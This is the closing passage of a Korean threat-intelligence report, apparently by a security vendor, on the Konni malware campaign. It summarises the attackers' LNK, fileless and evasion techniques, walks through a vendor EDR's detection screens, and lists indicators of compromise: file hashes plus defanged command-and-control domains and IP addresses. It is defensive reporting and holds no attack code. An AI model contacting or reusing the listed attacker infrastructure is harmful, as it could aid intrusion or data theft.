[표 17] 유사 악성 파일 종류

 

6. 결론 및 대응방법 (Conclusion)

○ 본 코니 위협의 경우 악성 DLL 모듈을 포함해 각종 스크립트 기법 공격에 능통합니다. 공격측 입장에서 볼 때 이러한 단말 침투 전술은 나름 용이하게 쓰입니다. 위협 행위자는 파일리스(Fileless) 기반 공격을 적절히 결합하고, 난독화된 문자열이나 암호화 알고리즘을 통해 빠른 분석과 대응을 어렵게 구성합니다.

○ 기본적으로 이러한 공격 전략은 단말에 설치된 백신 소프트웨어 탐지 회피에 주된 목표를 가지며, 사전에 충분한 모의 공격 테스트를 거쳐 초기 침투에 어느정도 효과를 거둘 수 있습니다. GSC는 이번 사례와 관련해 Genian EDR 제품을 통해 단계별 위협 검증을 수행했습니다. 최근 국내외로 코니 캠페인이 꾸준히 관찰되고, 위협 활성도가 높게 유지되고 있다는 측면에서 EDR을 통한 조기 탐지 및 능동적 대응이 중요한 시기입니다.

Genian EDR에서 의심스러운 LNK 파일 탐지 화면[그림 12] Genian EDR에서 의심스러운 LNK 파일 탐지 화면


○ Genian EDR 이벤트 분류 별 상세정보나 위협 관리 항목을 통해 바로가기 (LNK) 유형의 이상행위를 단말 유입 초기 단계부터 즉각 탐지해 낼 수 있습니다.

○ EDR 서버 관리자는 기본정보를 통해 의심 행위 수행 프로세스와 커맨드 라인 등을 편리하게 조회할 수 있으며, 위협 정보의 요약 내용을 통해 의심 파일의 경로와 대응 정책을 수립할 수 있습니다.

위협 탐지 및 관리 정보 화면[그림 13] 위협 탐지 및 관리 정보 화면


○ 더불어 공격 스토리 라인을 악성 스크립트의 실행 과정을 빠르게 확인할 수 있으며, 명령제어(C2) 서버와 네트워크 통신 시도 이력까지 조회가 편리합니다.

○ 또한, 네트워크 통신의 성공 및 실패 여부 등도 확인할 수 있어, 만약 침해사고 발생시 내부 정보 유출 가능성 조사에도 많은 도움을 얻을 수 있습니다.

공격 스토리 라인을 통한 통신 이력 조회[그림 14] 공격 스토리 라인을 통한 통신 이력 조회


○ 또한, AMSI(Antimalware Scan Interface) 이벤트 요약 기능을 통해 난독화됐던 악성 스크립트의 실제 내부 명령어 조회가 가능해, 코드 분석 소요 시간을 단축할 수 있습니다.

AMSI 이벤트 상세 정보[그림 15] AMSI 이벤트 상세 정보


○ 본 보고서 내에서 확인된 코니(Konni)의 공격에 사용되는 악성파일의 행위를 Genian EDR에 포함된 기능인 대시보드로 구현하여 최근 일주일이나 한달 또는 원하는 기간만큼 관련된 위협의심 이벤트를 쉽게 확인할 수 있습니다.

그림16_코니_대시보드_전체_보고서용

[그림 16] Genian EDR 대시보드 화면


○ 코니(Konni) 대시보드를 통해 유입된 악성파일에 의해 실행된 프로세스의 세부적인 명령어를 포함한 실행흐름과 바로가기(.lnk) 파일에 내장된 파일을 확인할 수 있습니다. 이를 통해 내부 시스템에 유사 위협이 존재했었는지 파악할 수 있습니다.
* Genian EDR을 운영하시는 고객사에서는 ECO 공유 대시보드를 추가할 수 있습니다.
** 단, 인터넷이 되는 환경이어야 합니다.

그림17_공유 대시보드 등록 화면

[그림 17] 공유 대시보드 등록 화면


○ 이번 보고서에 기술된 코니 캠페인은 세금, 장학금 및 금융 등의 다양한 주제에 대하여 사칭해서 공격을 수행하고 있습니다. 또한, 기존 위협 인텔리전스 보고서에서 다루었던 국내 관계자들을 대상으로 한 공격과 시큐로닉스에서 다루었던 위협분석 내용에 대해서 유사성을 확인하였습니다.

○ 코니 캠페인에서 사용되는 공격기법(TTPs)과 C2 통신에서 유사한 형태가 확인되었으며, 이는 국내외를 대상으로 넓은 범위로 공격작전(Operations)을 수행하고 있음을 알 수 있습니다. 따라서, 최신 공격 동향을 참고해 유사한 위협에 노출되지 않도록 보안 강화에 더 많은 관심과 노력을 기울여야 합니다.

○ 시그니처나 패턴 기반의 전통적 위협 탐지 회피를 성공하더라도, EDR 에이전트가 설치된 경우, 이상행위 활동 자체를 탐지해 빠르게 대응이 가능합니다. 이를 통해 보다 안전한 네트워크 환경을 구축하는데 도움이 됩니다.

 

7. 침해 지표 (Indicator of Compromise)

● MD5
914eb1b37d5679931fc9c2b5f3a2bbcd
0993cf18121be84f5b1511318df80f44
4638e7c17057fef4613af1f0f6821702
6793c3d6438553222f5e8ed2ee8c3ebf
7671fc2dce5d3f84f984f052adf35f9a
a0d332a95e2f42a7f26dd452c63938a4
b58eb8a3797d3a52aba30d91d207b688
b896c2b2ae51f7100a342c73f5062896
b49480bb06d30a6ac414313da8be170f
b1504090e9a70ae80190302e524589f2
bf91038ca0711f737e203cc9f4f9e434
ca2bc501ea4b94b9d6cf220a09b2812f
cf5f18032667bfb4c7373191e7fb1fbf
dae0efd29230feab95f46ee20030a425
f1b542971711bf229d02f5e385225a8d
1bb62f16635e0bcaf7b4ac2c27ceac71
2afb9ccd85ffcef656eefc18150741ab
8b7fdb80ea30a675d776ee3c6a2b5062
8ec9a6ff22c497375b53344cafeb2292
9c968c668d4de1ef90f914a7cbb74f23
9de46ffec09c07f1e55f94fe4b4b820f
0018e7e7613bd92b9dc23b9d4db59fa8
21d12dc7f08752293847af6ed19df0e3
36db685fd4dd778306c985b61f29292c
47d66179d1437e4b7e4ad863a3fc25b2
66fba06e965f9a6ea192db7f452ea9b6
78b3290a93de62116e083eb7c9b93b22
81fe4485d9537e02e0f827de6d3001b1
87bfdd6dd3c8722ad97a92b3ad706ed2
315b01f826d9f2b20665a8cee732cc49
406e4f5b327742f64791674f86f79d64
681d210f7931197775cac0ff31fb1ff5

● C2
ranujos[.]online
wimcwpo[.]online
molklib[.]online
duplikyservjc[.]cloud
h378576.atwebpages[.]com
rq7592.c1[.]biz
word2022.c1[.]biz
3756298.c1[.]biz
968796.c1[.]biz
gg1593.c1[.]biz
837593.c1[.]biz
4895750.c1[.]biz
victory-2020.atwebpages[.]com
gjdow.atwebpages[.]com
h378576.atwebpages[.]com
thictu.sportsontheweb[.]net
glonalcnielmxc.mywebcommunity[.]org
ka174f.scienceontheweb[.]net
216.107.137[.]73 [US]
54.86.50[.]139 [US]
192.186.3[.]160 [US]
159.100.13[.]216 [DE]
34.198.205[.]50 [US]
79.133.56[.]173 [DE]
67.211.213[.]224 [US]